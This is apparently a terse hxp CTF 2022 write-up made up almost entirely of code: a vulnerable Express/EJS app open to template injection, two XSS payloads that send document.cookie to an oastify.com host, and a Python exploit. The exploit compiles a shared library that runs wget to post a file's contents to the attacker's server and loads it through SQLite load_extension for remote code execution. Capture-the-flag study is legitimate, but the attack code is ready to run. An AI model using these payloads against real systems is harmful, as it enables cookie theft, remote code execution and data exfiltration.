hxpCTF2022 Wp

var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');  // /app/views

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {	// 遍历tmpl所有内容
    if (tmpl.substring(i, i+11) !== "<%= name %>") {	// 当出现了`<%`那它必须是`<%= name %>`的开始部分
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`); // 直接跳转渲染
});

app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) { // 只允许uuid
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query); // 渲染的参数是整个query 不限制仅有name
});

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.listen(process.env.PORT || 3000);

let ejs = require('ejs'),
    users = ['geddy', 'neil', 'alex'];

// Just one template
ejs.render('<p>[?= users.join(" | "); ?]</p>', {users: users}, {delimiter: '?', openDelimiter: '[', closeDelimiter: ']'});
// => '<p>geddy | neil | alex</p>'

// Or globally
ejs.delimiter = '?';
ejs.openDelimiter = '[';
ejs.closeDelimiter = ']';
ejs.render('<p>[?= users.join(" | "); ?]</p>', {users: users});
// => '<p>geddy | neil | alex</p>'

<a class="folder" href="1/">1</a>

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://b2eiq6hi7jbhisck3pg095jv6mcc01.oastify.com/?cookie='+btoa(document.cookie);>

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http:&#47;&#47;929gq4hg7hbfiqci3ngy93jt6kcp0e.oastify.com&#47;?cookie='+btoa(document.cookie);>

#!/usr/bin/env python3

from threading import Thread
import requests
import subprocess
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import sys

EXPLOIT = 'rce.csv'

HOST = 'TODO'
PORT = 0
MY_HOST = 'TODO'
MY_PORT = 0

def send_rce():
    print('[+] uploader started', file=sys.stderr)
    while True:
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/import/",
        files={
            'file': open(EXPLOIT, 'rb')
        })
        print(r.status_code, "UPLOAD", file=sys.stderr)

def call_rce(fd):
    print('[+] caller started', file=sys.stderr)
    while True:
        r = requests.post(url=f"http://{HOST}:{PORT}/gz/query",
        data={
            "sql": f"""select load_extension("/proc/self/fd/{fd}","flag")"""
        })
        print(r.status_code, "CALL", file=sys.stderr)

def compile_exploit():
    with open("rce.c", "w") as f:
        f.write(f"""
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void flag() {{
    system("wget --post-data `/readflag` http://{MY_HOST}:{MY_PORT}");
}}

void space() {{
    static char waste[500 * 1024] = {{2}};
}}
""")
    r = subprocess.run(["gcc", "-shared", "rce.c", "-o", EXPLOIT])
    if r.returncode != 0:
        exit(-1)

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_len = int(self.headers.get('Content-Length'))
        flag = self.rfile.read(content_len)
        print(flag.decode())

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
    pass

def server():
    print('[+] http server started', file=sys.stderr)
    server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
    # we only need to handle one response
    server.handle_request()
    server.shutdown()

if __name__ == "__main__":
    compile_exploit()

    s = Thread(target=server, daemon=True)
    s.start()

    t1 = Thread(target=send_rce, daemon=True)
    t1.start()
    for i in range(7, 8):
        t2 = Thread(target=call_rce, daemon=True, args=(i,))
        t2.start()

    s.join()